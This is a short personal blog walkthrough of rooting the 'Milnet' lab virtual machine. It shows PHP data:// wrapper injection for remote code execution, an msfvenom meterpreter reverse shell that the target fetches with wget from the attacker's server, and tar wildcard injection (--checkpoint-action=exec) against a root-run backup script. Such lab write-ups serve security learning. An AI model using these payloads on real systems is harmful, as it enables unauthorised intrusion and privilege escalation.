Hello Milnet, again
Obviously since my blog died a while ago, I lost my milnet writeup. That kinda bugged me, not because that my writeup was so awesome (it was not) but because it used some interesting techniques I had not previously abused before.
This is not a write up, but just a tribute
First of all, the issues importing it in Virtualbox seem to have been fixed, other than that I needed to tell it that it was a 64 bit VM. No more .ova file hacking at least.
Here are my notes, no screenshots or pictures this time:
Point browser at IP of milnet also using Burp Suite Free
Notice that browsing the site, it uses POST variables to visit various pages using the parameter route=[php file]
The parameter does not allow for LFI for anything other than php files it seems; and they are interpreted before display so little use. However; some trial and error showed that abusing php stream filters you can display the contents of the php files:
Sadly, this is not directly useful; however if php://filter is abusable, chances are that data:// can also be abused. It was :)
route=data://text/plain;base64,[base64 encoded php program code]
Where program could for example would be something like:
<?php $cmd=exec(whoami"); echo $cmd; ?>
Nicely outputs the user “www-data”.
Ok, so we have RCE but what is the easiest way to give us an interactive shell? Obviously meterpreter reverse shell, so using msfvenom we generate an ELF binary for reverse tcp:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf
We then put this binary in our local webroot and fire up Apache webserver. We then encode the wget command to download shell.elf to /tmp on the milnet machine and execute it. Sure enough, our multi-handler drops us in an limited shell from the user www-data.
Looking around the filesystem, what imediately caught my eye was /backup in the root. The script itself consisted of only 2 lines to tar the /var/www/html directory. This was obviously suspicious since we as www-data user have read-write and execute rights there and the resulting compressed archive was owned by root.
[insert an hour of breaking my head over what to do with this]
Some google-fu made me end up at https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt which explained how tar and wildcards can be abused resulting in command execution. This was a most obvious factor due to the retarded backup script being executed and owned by root.
Making it work was trivial:
cd /var/www/html echo "/tmp/shell.elf" > shell.sh chmod +x shell.sh echo "" > --checkpoint=1 echo "" > --checkpoint-action=exec=sh\ shell.sh
Then I killed the current meterpreter session and waited. Not long after it dropped me in a root shell!